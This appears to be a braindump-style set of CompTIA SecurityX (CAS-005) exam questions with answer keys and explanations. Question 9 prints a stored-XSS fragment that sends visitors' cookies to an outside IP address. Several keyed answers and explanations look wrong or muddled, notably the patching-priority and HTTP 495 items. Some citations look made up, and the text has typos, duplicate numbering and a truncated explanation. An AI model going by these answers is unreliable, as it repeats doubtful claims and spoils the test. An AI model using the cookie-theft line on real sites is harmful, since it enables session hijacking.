

# CompTIA

## Exam Questions CAS-005

CompTIA SecurityX Exam



**NEW QUESTION 1**

A company's help desk is experiencing a large number of calls from the finance department slating access issues to www.bank.com The security operations center reviewed the following security logs:

User	User IP & Subnet	Location	Website	DNS Resolved IP (public)	HTTP Status Code
User12	10.200.2.52/24	Finance	www.bank.com	65.146.76.34	495
User31	10.200.2.213/24	Finance	www.bank.com	65.146.76.34	495
User46	10.200.5.76/24	IT	www.bank.com	98.17.62.78	200
User23	10.200.2.156/24	Finance	www.bank.com	65.146.76.34	495
User51	10.200.4.138/24	Legal	www.bank.com	98.17.62.78	200

Which of the following is most likely the cause of the issue?

- A. Recursive DNS resolution is failing
- B. The DNS record has been poisoned.
- C. DNS traffic is being sinkholed.
- D. The DNS was set up incorrectly.

**Answer: C**

**Explanation:**

Sinkholing, or DNS sinkholing, is a method used to redirect malicious traffic to a safe destination. This technique is often employed by security teams to prevent access to malicious domains by substituting a benign destination IP address.

In the given logs, users from the finance department are accessing www.bank.com and receiving HTTP status code 495. This status code is typically indicative of a client certificate error, which can occur if the DNS traffic is being manipulated or redirected incorrectly. The consistency in receiving the same HTTP status code across different users suggests a systematic issue rather than an isolated incident.

? Recursive DNS resolution failure (A) would generally lead to inability to resolve DNS at all, not to a specific HTTP error.

? DNS poisoning (B) could result in users being directed to malicious sites, but again, would likely result in a different set of errors or unusual activity.

? Incorrect DNS setup (D) would likely cause broader resolution issues rather than targeted errors like the one seen here.

By reviewing the provided data, it is evident that the DNS traffic for www.bank.com is being rerouted improperly, resulting in consistent HTTP 495 errors for the finance department users. Hence, the most likely cause is that the DNS traffic is being sinkholed.

References:

? CompTIA SecurityX study materials on DNS security mechanisms.

? Standard HTTP status codes and their implications.

**NEW QUESTION 2**

A company is having issues with its vulnerability management program New devices/IPs are added and dropped regularly, making the vulnerability report inconsistent Which of the following actions should the company take to most likely improve the vulnerability management process?

- A. Request a weekly report with all new assets deployed and decommissioned
- B. Extend the DHCP lease time to allow the devices to remain with the same address for a longer period.
- C. Implement a shadow IT detection process to avoid rogue devices on the network
- D. Perform regular discovery scanning throughout the IT landscape using the vulnerability management tool

**Answer: D**

**Explanation:**

To improve the vulnerability management process in an environment where new devices/IPs are added and dropped regularly, the company should perform regular discovery scanning throughout the IT landscape using the vulnerability management tool. Here's why:

? Accurate Asset Inventory: Regular discovery scans help maintain an up-to-date inventory of all assets, ensuring that the vulnerability management process includes all relevant devices and IPs.

? Consistency in Reporting: By continuously discovering and scanning new and existing assets, the company can generate consistent and comprehensive vulnerability reports that reflect the current state of the network.

? Proactive Management: Regular scans enable the organization to proactively identify and address vulnerabilities on new and existing assets, reducing the window of exposure to potential threats.

? References:

**NEW QUESTION 3**

A company detects suspicious activity associated with external connections Security detection tools are unable to categorize this activity. Which of the following is the best solution to help the company overcome this challenge?

- A. Implement an Interactive honeypot
- B. Map network traffic to known IoCs.
- C. Monitor the dark web
- D. implement UEBA

**Answer: D**

**Explanation:**

User and Entity Behavior Analytics (UEBA) is the best solution to help the company overcome challenges associated with suspicious activity that cannot be categorized by traditional detection tools. UEBA uses advanced analytics to establish baselines of normal behavior for users and entities within the network. It then identifies deviations from these baselines, which may indicate malicious activity. This approach is particularly effective for detecting unknown threats and sophisticated attacks that do not match known indicators of compromise (IoCs).

Reference: CompTIA SecurityX Study Guide, Chapter on Advanced Threat Detection and Mitigation, Section on User and Entity Behavior Analytics (UEBA).

**NEW QUESTION 4**

A news organization wants to implement workflows that allow users to request that untruthful data be retraced and scrubbed from online publications to comply with the right to be forgotten Which of the following regulations is the organization most likely trying to address'

- A. GDPR
- B. COPPA
- C. CCPA
- D. DORA

**Answer: A**

**Explanation:**

The General Data Protection Regulation (GDPR) is the regulation most likely being addressed by the news organization. GDPR includes provisions for the "right to be forgotten," which allows individuals to request the deletion of personal data that is no longer necessary for the purposes for which it was collected. This regulation aims to protect the privacy and personal data of individuals within the European Union.

References:

? CompTIA SecurityX Study Guide: Covers GDPR and its requirements, including the right to be forgotten.

? GDPR official documentation: Details the rights of individuals, including data erasure and the right to be forgotten.

? "GDPR: A Practical Guide to the General Data Protection Regulation" by IT Governance Privacy Team: Provides a comprehensive overview of GDPR compliance, including workflows for data deletion requests.

**NEW QUESTION 5**

A company's SICM Is continuously reporting false positives and false negatives The security operations team has Implemented configuration changes to troubleshoot possible reporting errors Which of the following sources of information best supports the required analysts process? (Select two).

- A. Third-party reports and logs
- B. Trends
- C. Dashboards
- D. Alert failures
- E. Network traffic summaries
- F. Manual review processes

**Answer: AB**

**Explanation:**

When dealing with false positives and false negatives reported by a Security Information and Event Management (SIEM) system, the goal is to enhance the accuracy of the alerts and ensure that actual threats are identified correctly. The following sources of information best support the analysis process:

\* A. Third-party reports and logs: Utilizing external sources of information such as threat intelligence reports, vendor logs, and other third-party data can provide a broader perspective on potential threats. These sources often contain valuable insights and context that can help correlate events more accurately, reducing the likelihood of false positives and false negatives.

\* B. Trends: Analyzing trends over time can help in understanding patterns and anomalies in the data. By observing trends, the security team can distinguish between normal and abnormal behavior, which aids in fine-tuning the SIEM configurations to better detect true positives and reduce false alerts.

Other options such as dashboards, alert failures, network traffic summaries, and manual review processes are also useful but are more operational rather than foundational for understanding the root causes of reporting errors in SIEM configurations.

References:

? CompTIA SecurityX Study Guide: Emphasizes the importance of leveraging external threat intelligence and historical trends for accurate threat detection.

? NIST Special Publication 800-92, "Guide to Computer Security Log Management": Highlights best practices for log management, including the use of third-party sources and trend analysis to improve incident detection.

? "Security Information and Event Management (SIEM) Implementation" by David Miller: Discusses the use of external intelligence and trends to enhance SIEM accuracy.

**NEW QUESTION 6**

A security analyst is reviewing the following log:

Time	File type	Size	Antivirus status	Location
11:25	txt	25mb	block	c:\
11:27	dll	10mb	allow	c:\temp
11:29	doc	37mb	block	c:\users\user1\Desktop
11:32	pdf	13mb	allow	c:\users\user2\Downloads
11:35	txt	49mb	allow	c:\users\user3\Documents

Which of the following possible events should the security analyst investigate further?

- A. A macro that was prevented from running
- B. A text file containing passwords that were leaked
- C. A malicious file that was run in this environment
- D. A PDF that exposed sensitive information improperly

**Answer: B**

**Explanation:**

Based on the log provided, the most concerning event that should be investigated further is the presence of a text file containing passwords that were leaked. Here's why:

? Sensitive Information Exposure: A text file containing passwords represents a significant security risk, as it indicates that sensitive credentials have been exposed in plain text, potentially leading to unauthorized access.

? Immediate Threat: Password leaks can lead to immediate exploitation by attackers, compromising user accounts and sensitive data. This requires urgent investi

**NEW QUESTION 7**

A global manufacturing company has an internal application that is critical to making products. This application cannot be updated and must be available in the production area. A security architect is implementing security for the application. Which of the following best describes the action the architect should take-?

- A. Disallow wireless access to the application.
- B. Deploy intrusion detection capabilities using a network tap
- C. Create an acceptable use policy for the use of the application
- D. Create a separate network for users who need access to the application

**Answer: D**

**Explanation:**

Creating a separate network for users who need access to the application is the best action to secure an internal application that is critical to the production area and cannot be updated.

Why Separate Network?

? Network Segmentation: Isolates the critical application from the rest of the network, reducing the risk of compromise and limiting the potential impact of any security incidents.

? Controlled Access: Ensures that only authorized users have access to the application, enhancing security and reducing the attack surface.

? Minimized Risk: Segmentation helps in protecting the application from vulnerabilities that could be exploited from other parts of the network.

Other options, while beneficial, do not provide the same level of security for a critical application:

? A. Disallow wireless access: Useful but does not provide comprehensive protection.

? B. Deploy intrusion detection capabilities using a network tap: Enhances monitoring but does not provide the same level of isolation and control.

? C. Create an acceptable use policy: Important for governance but does not provide technical security controls.

References:

? CompTIA SecurityX Study Guide

? NIST Special Publication 800-125, "Guide to Security for Full Virtualization Technologies"

? "Network Segmentation Best Practices," Cisco Documentation

**NEW QUESTION 8**

A user submits a help desk ticket stating their account does not authenticate sometimes. An analyst reviews the following logs for the user: Which of the following best explains the reason the user's access is being denied?

- A. incorrectly typed password
- B. Time-based access restrictions
- C. Account compromise
- D. Invalid user-to-device bindings

**Answer: B**

**Explanation:**

The logs reviewed for the user indicate that access is being denied due to time-based access restrictions. These restrictions are commonly implemented to limit access to systems during specific hours to enhance security. If a user attempts to authenticate outside of the allowed time window, access will be denied. This measure helps prevent unauthorized access during non-business hours, reducing the risk of security incidents.

References:

? CompTIA SecurityX Study Guide: Covers various access control methods, including time-based restrictions, as a means of enhancing security.

? NIST Special Publication 800-53, "Security and Privacy Controls for Information Systems and Organizations": Recommends the use of time-based access restrictions as part of access control policies.

? "Access Control and Identity Management" by Mike Chapple and Aaron French: Discusses the implementation and benefits of time-based access restrictions.

**NEW QUESTION 9**

During a forensic review of a cybersecurity incident, a security engineer collected a portion of the payload used by an attacker on a compromised web server. Given the following portion of the code:

```
..asd...<>..document.location="https://10.10.1.2/?x="+document.cookie; ..12..fa..  
<>...ash214%621...41..2...8.8.
```

Which of the following best describes this incident?

- A. XSRF attack
- B. Command injection
- C. Stored XSS
- D. SQL injection

**Answer: C**

**Explanation:**

The provided code snippet shows a script that captures the user's cookies and sends them to a remote server. This type of attack is characteristic of Cross-Site Scripting (XSS), specifically stored XSS, where the malicious script is stored on the target server (e.g., in a database) and executed in the context of users who visit the infected web page.

? A. XSRF (Cross-Site Request Forgery) attack: This involves tricking the user into performing actions on a different site without their knowledge but does not involve stealing cookies via script injection.

? B. Command injection: This involves executing arbitrary commands on the host operating system, which is not relevant to the given JavaScript code.

? C. Stored XSS: The provided code snippet matches the pattern of a stored XSS attack, where the script is injected into a web page, and when users visit the

page, the script executes and sends the user's cookies to the attacker's server.

? D. SQL injection: This involves injecting malicious SQL queries into the database and is unrelated to the given JavaScript code.

References:

? CompTIA Security+ Study Guide

? OWASP (Open Web Application Security Project) guidelines on XSS

? "The Web Application Hacker's Handbook" by Dafydd Stuttard and Marcus Pinto

**NEW QUESTION 10**

Developers have been creating and managing cryptographic material on their personal laptops for use in production environment. A security engineer needs to initiate a more secure process. Which of the following is the best strategy for the engineer to use?

- A. Disabling the BIOS and moving to UEFI
- B. Managing secrets on the vTPM hardware
- C. Employing shielding to prevent LMI
- D. Managing key material on a HSM

**Answer: D**

**Explanation:**

The best strategy for securely managing cryptographic material is to use a Hardware Security Module (HSM). Here's why:

? Security and Integrity: HSMs are specialized hardware devices designed to protect and manage digital keys. They provide high levels of physical and logical security, ensuring that cryptographic material is well protected against tampering and unauthorized access.

? Centralized Key Management: Using HSMs allows for centralized management of cryptographic keys, reducing the risks associated with decentralized and potentially insecure key storage practices, such as on personal laptops.

? Compliance and Best Practices: HSMs comply with various industry standards and regulations (such as FIPS 140-2) for secure key management. This ensures that the organization adheres to best practices and meets compliance requirements.

? References:

**NEW QUESTION 10**

A security engineer performed a code scan that resulted in many false positives. The security engineer must find a solution that improves the quality of scanning results before application deployment. Which of the following is the best solution?

- A. Limiting the tool to a specific coding language and tuning the rule set
- B. Configuring branch protection rules and dependency checks
- C. Using an application vulnerability scanner to identify coding flaws in production
- D. Performing updates on code libraries before code development

**Answer: A**

**Explanation:**

To improve the quality of code scanning results and reduce false positives, the best solution is to limit the tool to a specific coding language and fine-tune the rule set. By configuring the code scanning tool to focus on the specific language used in the application, the tool can more accurately identify relevant issues and reduce the number of false positives. Additionally, tuning the rule set ensures that the tool's checks are appropriate for the application's context, further improving the accuracy of the scan results.

References:

? CompTIA SecurityX Study Guide: Discusses best practices for configuring code scanning tools, including language-specific tuning and rule set adjustments.

? "Secure Coding: Principles and Practices" by Mark G. Graff and Kenneth R. van Wyk: Highlights the importance of customizing code analysis tools to reduce false positives.

? OWASP (Open Web Application Security Project): Provides guidelines for configuring and tuning code scanning tools to improve accuracy.

**NEW QUESTION 14**

A company receives several complaints from customers regarding its website. An engineer implements a parser for the web server logs that generates the following output:

Browser	User location	Load time	HTTP response
Mozilla 5.0	United States	190ms	302
Chrome 110	France	1.2s	302
Microsoft Edge	India	3.7s	207
Microsoft Edge	Australia	6.4s	200

which of the following should the company implement to best resolve the issue?

- A. IDS
- B. CDN
- C. WAF
- D. NAC

**Answer: B**

**Explanation:**

The table indicates varying load times for users accessing the website from different geographic locations. Customers from Australia and India are experiencing significantly higher load times compared to those from the United States. This suggests that latency and geographical distance are affecting the website's performance.

- ? A. IDS (Intrusion Detection System): While an IDS is useful for detecting malicious activities, it does not address performance issues related to latency and geographical distribution of content.
  - ? B. CDN (Content Delivery Network): A CDN stores copies of the website's content in multiple geographic locations. By serving content from the nearest server to the user, a CDN can significantly reduce load times and improve user experience globally.
  - ? C. WAF (Web Application Firewall): A WAF protects web applications by filtering and monitoring HTTP traffic but does not improve performance related to geographical latency.
  - ? D. NAC (Network Access Control): NAC solutions control access to network resources but are not designed to address web performance issues.
- Implementing a CDN is the best solution to resolve the performance issues observed in the log output.

References:

- ? CompTIA Security+ Study Guide
- ? "CDN: Content Delivery Networks Explained" by Akamai Technologies
- ? NIST SP 800-44, "Guidelines on Securing Public Web Servers"

**NEW QUESTION 17**

A company's security policy states that any publicly available server must be patched within 12 hours after a patch is released. A recent IIS zero-day vulnerability was discovered that affects all versions of the Windows Server OS:

	OS	Externally available?	Behind WAF?	IIS installed?
Host 1	Windows 2019	Yes	Yes	Yes
Host 2	Windows 2008 R2	No	N/A	No
Host 3	Windows 2012 R2	Yes	Yes	Yes
Host 4	Windows 2022	Yes	No	Yes
Host 5	Windows 2012 R2	No	N/A	No
Host 6	Windows 2019	Yes	No	No

Which of the following hosts should a security analyst patch first once a patch is available?

- A. 1
- B. 2
- C. 3
- D. 4
- E. 5
- F. 6

**Answer: A**

**Explanation:**

Based on the security policy that any publicly available server must be patched within 12 hours after a patch is released, the security analyst should patch Host 1 first. Here's why:

- ? Public Availability: Host 1 is externally available, making it accessible from the internet. Publicly available servers are at higher risk of being targeted by attackers, especially when a zero-day vulnerability is known.
- ? Exposure to Threats: Host 1 has IIS installed and is publicly accessible, increasing its exposure to potential exploitation. Patching this host first reduces the risk of a successful attack.
- ? Prioritization of Critical Assets: According to best practices, assets that are exposed to higher risks should be prioritized for patching to mitigate potential threats promptly.
- ? References:

**NEW QUESTION 22**

An organization that performs real-time financial processing is implementing a new backup solution. Given the following business requirements?

- \* The backup solution must reduce the risk for potential backup compromise
- \* The backup solution must be resilient to a ransomware attack.
- \* The time to restore from backups is less important than the backup data integrity
- \* Multiple copies of production data must be maintained

Which of the following backup strategies best meets these requirements?

- A. Creating a secondary, immutable storage array and updating it with live data on a continuous basis
- B. Utilizing two connected storage arrays and ensuring the arrays constantly sync
- C. Enabling remote journaling on the databases to ensure real-time transactions are mirrored
- D. Setting up antitempering on the databases to ensure data cannot be changed unintentionally

**Answer: A**

**Explanation:**

? A. Creating a secondary, immutable storage array and updating it with live data on a continuous basis: An immutable storage array ensures that data, once written, cannot be altered or deleted. This greatly reduces the risk of backup compromise and provides resilience against ransomware attacks, as the ransomware cannot modify or delete the backup data. Maintaining multiple copies of production data with an immutable storage solution ensures data integrity and compliance with the requirement for multiple copies.

Other options:

? B. Utilizing two connected storage arrays and ensuring the arrays constantly sync: While this ensures data redundancy, it does not provide protection against ransomware attacks, as both arrays could be compromised simultaneously.

- ? C. Enabling remote journaling on the databases: This ensures real-time transaction mirroring but does not address the requirement for reducing the risk of backup compromise or resilience to ransomware.
  - ? D. Setting up anti-tampering on the databases: While this helps ensure data integrity, it does not provide a comprehensive backup solution that meets all the specified requirements.
- References:
- ? CompTIA Security+ Study Guide
  - ? NIST SP 800-209, "Security Guidelines for Storage Infrastructure"
  - ? "Immutable Backup Architecture" by Veeam

#### NEW QUESTION 27

A company hosts a platform-as-a-service solution with a web-based front end, through which customer interact with data sets. A security administrator needs to deploy controls to prevent application-focused attacks. Which of the following most directly supports the administrator's objective?

- A. improving security dashboard visualization on SIEM
- B. Rotating API access and authorization keys every two months
- C. Implementing application load balancing and cross-region availability
- D. Creating WAF policies for relevant programming languages

**Answer: D**

#### Explanation:

The best way to prevent application-focused attacks for a platform-as-a-service solution with a web-based front end is to create Web Application Firewall (WAF) policies for relevant programming languages. Here's why:

? Application-Focused Attack Prevention: WAFs are designed to protect web applications by filtering and monitoring HTTP traffic between a web application and the Internet. They help prevent attacks such as SQL injection, cross-site scripting (XSS), and other application-layer attacks.

? Customizable Rules: WAF policies can be tailored to the specific programming languages and frameworks used by the web application, providing targeted protection based on known vulnerabilities and attack patterns.

? Real-Time Protection: WAFs provide real-time protection, blocking malicious requests before they reach the application, thereby enhancing the security posture of the platform.

? References:

#### NEW QUESTION 32

A financial technology firm works collaboratively with business partners in the industry to share threat intelligence within a central platform. This collaboration gives partner organizations the ability to obtain and share data associated with emerging threats from a variety of adversaries. Which of the following should the organization most likely leverage to facilitate this activity? (Select two).

- A. CWPP
- B. YAKA
- C. ATTACK
- D. STIX
- E. TAXII
- F. JTAG

**Answer: DE**

#### Explanation:

? D. STIX (Structured Threat Information eXpression): STIX is a standardized language for representing threat information in a structured and machine-readable format. It facilitates the sharing of threat intelligence by ensuring that data is consistent and can be easily understood by all parties involved.

? E. TAXII (Trusted Automated eXchange of Indicator Information): TAXII is a transport mechanism that enables the sharing of cyber threat information over a secure and trusted network. It works in conjunction with STIX to automate the exchange of threat intelligence among organizations.

Other options:

? A. CWPP (Cloud Workload Protection Platform): This focuses on securing cloud workloads and is not directly related to threat intelligence sharing.

? B. YARA: YARA is used for malware research and identifying patterns in files, but it is not a platform for sharing threat intelligence.

? C. ATT&CK: This is a knowledge base of adversary tactics and techniques but does not facilitate the sharing of threat intelligence data.

? F. JTAG: JTAG is a standard for testing and debugging integrated circuits, not related to threat intelligence.

References:

? CompTIA Security+ Study Guide

? "STIX and TAXII: The Backbone of Threat Intelligence Sharing" by MITRE

? NIST SP 800-150, "Guide to Cyber Threat Information Sharing"

#### NEW QUESTION 37

A company that uses containers to run its applications is required to identify vulnerabilities on every container image in a private repository. The security team needs to be able to quickly evaluate whether to respond to a given vulnerability. Which of the following will allow the security team to achieve the objective with the least effort?

- A. SAST scan reports
- B. Centralized SBoM
- C. CIS benchmark compliance reports
- D. Credentialed vulnerability scan

**Answer: B**

#### Explanation:

A centralized Software Bill of Materials (SBoM) is the best solution for identifying vulnerabilities in container images in a private repository. An SBoM provides a comprehensive inventory of all components, dependencies, and their versions within a container image, facilitating quick evaluation and response to vulnerabilities. Why Centralized SBoM?

? Comprehensive Inventory: An SBoM lists all software components, including their versions and dependencies, allowing for thorough vulnerability assessments.

? Quick Identification: Centralizing SBoM data enables rapid identification of affected containers when a vulnerability is disclosed.

? Automation: SBoMs can be integrated into automated tools for continuous monitoring and alerting of vulnerabilities.

- ? Regulatory Compliance: Helps in meeting compliance requirements by providing a clear and auditable record of all software components used. Other options, while useful, do not provide the same level of comprehensive and efficient vulnerability management:
- ? A. SAST scan reports: Focuses on static analysis of code but may not cover all components in container images.
  - ? C. CIS benchmark compliance reports: Ensures compliance with security benchmarks but does not provide detailed component inventory.
  - ? D. Credentialed vulnerability scan: Useful for in-depth scans but may not be as efficient for quick vulnerability evaluation.

References:

- ? CompTIA SecurityX Study Guide
- ? "Software Bill of Materials (SBOM)," NIST Documentation
- ? "Managing Container Security with SBOM," OWASP

#### NEW QUESTION 41

Audit findings indicate several user endpoints are not utilizing full disk encryption. During the remediation process, a compliance analyst reviews the testing details for the endpoints and notes the endpoint device configuration does not support full disk encryption. Which of the following is the most likely reason the device must be replaced?

- A. The HSM is outdated and no longer supported by the manufacturer.
- B. The vTPM was not properly initialized and is corrupt.
- C. The HSM is vulnerable to common exploits and a firmware upgrade is needed.
- D. The motherboard was not configured with a TPM from the OEM supplier.
- E. The HSM does not support sealing storage.

**Answer: D**

#### Explanation:

The most likely reason the device must be replaced is that the motherboard was not configured with a TPM (Trusted Platform Module) from the OEM (Original Equipment Manufacturer) supplier.

Why TPM is Necessary for Full Disk Encryption:

- ? Hardware-Based Security: TPM provides a hardware-based mechanism to store encryption keys securely, which is essential for full disk encryption.
- ? Compatibility: Full disk encryption solutions, such as BitLocker, require TPM to ensure that the encryption keys are securely stored and managed.
- ? Integrity Checks: TPM enables system integrity checks during boot, ensuring that the device has not been tampered with.

Other options do not directly address the requirement for TPM in supporting full disk encryption:

- ? A. The HSM is outdated: While HSM (Hardware Security Module) is important for security, it is not typically used for full disk encryption.
- ? B. The vTPM was not properly initialized: vTPM (virtual TPM) is less common and not typically a reason for requiring hardware replacement.
- ? C. The HSM is vulnerable to common exploits: This would require a firmware upgrade, not replacement of the device.
- ? E. The HSM does not support sealing storage: Sealing storage is relevant but not the primary reason for requiring TPM for full disk encryption.

References:

- ? CompTIA SecurityX Study Guide
- ? "Trusted Platform Module (TPM) Overview," Microsoft Documentation
- ? "BitLocker Deployment Guide," Microsoft Documentation

#### NEW QUESTION 44

A security team is responding to malicious activity and needs to determine the scope of impact the malicious activity appears to affect certain version of an application used by the organization. Which of the following actions best enables the team to determine the scope of impact?

- A. Performing a port scan
- B. Inspecting egress network traffic
- C. Reviewing the asset inventory
- D. Analyzing user behavior

**Answer: C**

#### Explanation:

Reviewing the asset inventory allows the security team to identify all instances of the affected application versions within the organization. By knowing which systems are running the vulnerable versions, the team can assess the full scope of the impact, determine which systems might be compromised, and prioritize them for further investigation and remediation.

Performing a port scan (Option A) might help identify open ports but does not provide specific information about the application versions. Inspecting egress network traffic (Option B) and analyzing user behavior (Option D) are important steps in the incident response process but do not directly identify which versions of the application are affected. References:

- ? CompTIA Security+ Study Guide
- ? NIST SP 800-61 Rev. 2, "Computer Security Incident Handling Guide"
- ? CIS Controls, "Control 1: Inventory and Control of Hardware Assets" and "Control 2: Inventory and Control of Software Assets"

#### NEW QUESTION 46

A systems administrator wants to use existing resources to automate reporting from disparate security appliances that do not currently communicate. Which of the following is the best way to meet this objective?

- A. Configuring an API Integration to aggregate the different data sets
- B. Combining back-end application storage into a single, relational database
- C. Purchasing and deploying commercial off the shelf aggregation software
- D. Migrating application usage logs to on-premises storage

**Answer: A**

#### Explanation:

The best way to automate reporting from disparate security appliances that do not currently communicate is to configure an API Integration to aggregate the different data sets. Here's why:

- ? Interoperability: APIs allow different systems to communicate and share data, even if they were not originally designed to work together. This enables the integration of various security appliances into a unified reporting system.
- ? Automation: API integrations can automate the process of data collection,

aggregation, and reporting, reducing manual effort and increasing efficiency.  
 ? Scalability: APIs provide a scalable solution that can easily be extended to include additional security appliances or data sources as needed.  
 ? References:

**NEW QUESTION 51**

A central bank implements strict risk mitigations for the hardware supply chain, including an allow list for specific countries of origin. Which of the following best describes the cyberthreat to the bank?

- A. Ability to obtain components during wartime
- B. Fragility and other availability attacks
- C. Physical Implants and tampering
- D. Non-conformance to accepted manufacturing standards

**Answer: C**

**Explanation:**

The best description of the cyber threat to a central bank implementing strict risk mitigations for the hardware supply chain, including an allow list for specific countries of origin, is the risk of physical implants and tampering. Here's why:  
 ? Supply Chain Security: The supply chain is a critical vector for hardware tampering and physical implants, which can compromise the integrity and security of hardware components before they reach the organization.  
 ? Targeted Attacks: Banks and financial institutions are high-value targets, making them susceptible to sophisticated attacks, including those involving physical implants that can be introduced during manufacturing or shipping processes.  
 ? Strict Mitigations: Implementing an allow list for specific countries aims to mitigate the risk of supply chain attacks by limiting the sources of hardware. However, the primary concern remains the introduction of malicious components through tampering.  
 ? References:

**NEW QUESTION 54**

An organization is required to  
 \* Respond to internal and external inquiries in a timely manner  
 \* Provide transparency.  
 \* Comply with regulatory requirements  
 The organization has not experienced any reportable breaches but wants to be prepared if a breach occurs in the future. Which of the following is the best way for the organization to prepare?

- A. Outsourcing the handling of necessary regulatory filing to an external consultant
- B. Integrating automated response mechanisms into the data subject access request process
- C. Developing communication templates that have been vetted by internal and external counsel
- D. Conducting lessons-learned activities and integrating observations into the crisis management plan

**Answer: C**

**Explanation:**

Preparing communication templates that have been vetted by both internal and external counsel ensures that the organization can respond quickly and effectively to internal and external inquiries, comply with regulatory requirements, and provide transparency in the event of a breach.  
 Why Communication Templates?  
 ? Timely Response: Pre-prepared templates ensure that responses are ready to be deployed quickly, reducing response time.  
 ? Regulatory Compliance: Templates vetted by counsel ensure that all communications meet legal and regulatory requirements.  
 ? Consistent Messaging: Ensures that all responses are consistent, clear, and accurate, maintaining the organization's credibility.  
 ? Crisis Management: Pre-prepared templates are a critical component of a broader crisis management plan, ensuring that all stakeholders are informed appropriately.  
 Other options, while useful, do not provide the same level of preparedness and compliance:  
 ? A. Outsourcing to an external consultant: This may delay response times and lose internal control over the communication.  
 ? B. Integrating automated response mechanisms: Useful for efficiency but not for ensuring compliant and vetted responses.  
 ? D. Conducting lessons-learned activities: Important for improving processes but does not provide immediate preparedness for communication.  
 References:  
 ? CompTIA SecurityX Study Guide  
 ? NIST Special Publication 800-61 Revision 2, "Computer Security Incident Handling Guide"  
 ? ISO/IEC 27002:2013, "Information technology — Security techniques — Code of practice for information security controls"

**NEW QUESTION 55**

A company that relies on an COL system must keep it operating until a new solution is available Which of the following is the most secure way to meet this goal?

- A. Isolating the system and enforcing firewall rules to allow access to only required endpoints
- B. Enforcing strong credentials and improving monitoring capabilities
- C. Restricting system access to perform necessary maintenance by the IT team
- D. Placing the system in a screened subnet and blocking access from internal resources

**Answer: A**

**Explanation:**

To ensure the most secure way of keeping a legacy system (COL) operating until a new solution is available, isolating the system and enforcing strict firewall rules is the best approach. This method minimizes the attack surface by restricting access to only the necessary endpoints, thereby reducing the risk of unauthorized access and potential security breaches. Isolating the system ensures that it is not exposed to the broader network, while firewall rules control the traffic that can reach the system, providing a secure environment until a replacement is implemented.  
 References:  
 ? CompTIA SecurityX Study Guide: Recommends network isolation and firewall rules as effective measures for securing legacy systems.

? NIST Special Publication 800-82, "Guide to Industrial Control Systems (ICS) Security": Advises on isolating critical systems and using firewalls to control access.  
 ? "Network Security Assessment" by Chris McNab: Discusses techniques for isolating systems and enforcing firewall rules to protect vulnerable or legacy systems.  
 By isolating the system and implementing strict firewall controls, the organization can maintain the necessary operations securely while working on deploying a new solution.

**NEW QUESTION 58**

A security analyst is reviewing the following event timeline from an COR solution:

Time	File name	File action	Action verdict
4:08 p.m.	hr-reporting.docx	File save	Allowed
4:09 p.m.	hr-reporting.docx	Scan initiated	Pending
4:10 p.m.	hr-reporting.docx	File execute	Allowed
4:16 p.m.	paychecks.xlsx	File save	Allowed
4:16 p.m.	paychecks.xlsx	File shared	Allowed
4:17 p.m.	hr-reporting.docx	Script launched	Allowed
4:19 p.m.	hr-reporting.docx	Scan complete	Malware found
4:20 p.m.	paychecks.xlsx	File edit	Allowed

Which of the following most likely has occurred and needs to be fixed?

- A. The DI P has failed to block malicious exfiltration and data tagging is not being utilized property
- B. An EDR bypass was utilized by a threat actor and updates must be installed by the administrator.
- C. A logic law has introduced a TOCTOU vulnerability and must be addressed by the COR vendor
- D. A potential insider threat is being investigated and will be addressed by the senior management team.

**Answer: C**

**Explanation:**

The event timeline indicates a sequence where a file (hr-reporting.docx) was saved, scanned, executed, and eventually found to contain malware. The critical issue here is that the malware scan completed after the file was already executed. This suggests a Time-Of- Check to Time-Of-Use (TOCTOU) vulnerability, where the state of the file changed between the time it was checked and the time it was used.

References:

- ? CompTIA SecurityX Study Guide: Discusses TOCTOU vulnerabilities as a timing attack where the state of a resource changes after it has been validated.
- ? NIST Special Publication 800-53, "Security and Privacy Controls for Federal Information Systems and Organizations": Recommends addressing TOCTOU vulnerabilities to ensure the integrity of security operations.
- ? "The Art of Software Security Assessment" by Mark Dowd, John McDonald, and Justin Schuh: Covers logic flaws and timing vulnerabilities, including TOCTOU issues.

**NEW QUESTION 63**

A security analyst needs to ensure email domains that send phishing attempts without previous communications are not delivered to mailboxes The following email headers are being reviewed

Date	Sending domain	Reply-to domain	Subject
April 16	sales.com	sales-mail.com	Updated Security Questions
April 18	vendor.com	vendor.com	New Sales Catalog
April 18	partner.com	partner.com	B2B Sales Increase
April 19	hr-saas.com	hr-saas.com	Employee Payroll Update Request
April 19	vendor.com	vendor.com	Password Requirements Not Met

Which of the following is the best action for the security analyst to take?

- A. Block messages from hr-saas.com because it is not a recognized domain.
- B. Reroute all messages with unusual security warning notices to the IT administrator
- C. Quarantine all messages with sales-mail.com in the email header
- D. Block vendor.com for repeated attempts to send suspicious messages

**Answer: D**

**Explanation:**

In reviewing email headers and determining actions to mitigate phishing attempts, the security analyst should focus on patterns of suspicious behavior and the reputation of the sending domains. Here??s the analysis of the options provided:

- \* A. Block messages from hr-saas.com because it is not a recognized domain: Blocking a domain solely because it is not recognized can lead to legitimate emails

being missed. Recognition alone should not be the criterion for blocking.

- \* B. Reroute all messages with unusual security warning notices to the IT administrator: While rerouting suspicious messages can be a good practice, it is not specific to the domain sending repeated suspicious messages.
- \* C. Quarantine all messages with sales-mail.com in the email header: Quarantining messages based on the presence of a specific domain in the email header can be too broad and may capture legitimate emails.
- \* D. Block vendor.com for repeated attempts to send suspicious messages: This option is the most appropriate because it targets a domain that has shown a pattern of sending suspicious messages. Blocking a domain that repeatedly sends phishing attempts without previous communications helps in preventing future attempts from the same source and aligns with the goal of mitigating phishing risks.

References:

? CompTIA SecurityX Study Guide: Details best practices for handling phishing attempts, including blocking domains with repeated suspicious activity.

? NIST Special Publication 800-45 Version 2, "Guidelines on Electronic Mail Security": Provides guidelines on email security, including the management of suspicious email domains.

? "Phishing and Countermeasures: Understanding the Increasing Problem of Electronic Identity Theft" by Markus Jakobsson and Steven Myers: Discusses effective measures to counter phishing attempts, including blocking persistent offenders.

By blocking the domain that has consistently attempted to send suspicious messages, the security analyst can effectively reduce the risk of phishing attacks.

#### NEW QUESTION 65

After an incident occurred, a team reported during the lessons-learned review that the team.

- \* Lost important information for further analysis.
- \* Did not utilize the chain of communication
- \* Did not follow the right steps for a proper response

Which of the following solutions is the best way to address these findings?

- A. Requesting budget for better forensic tools to improve technical capabilities for incident response operations
- B. Building playbooks for different scenarios and performing regular table-top exercises
- C. Requiring professional incident response certifications for each new team member
- D. Publishing the incident response policy and enforcing it as part of the security awareness program

**Answer: B**

#### Explanation:

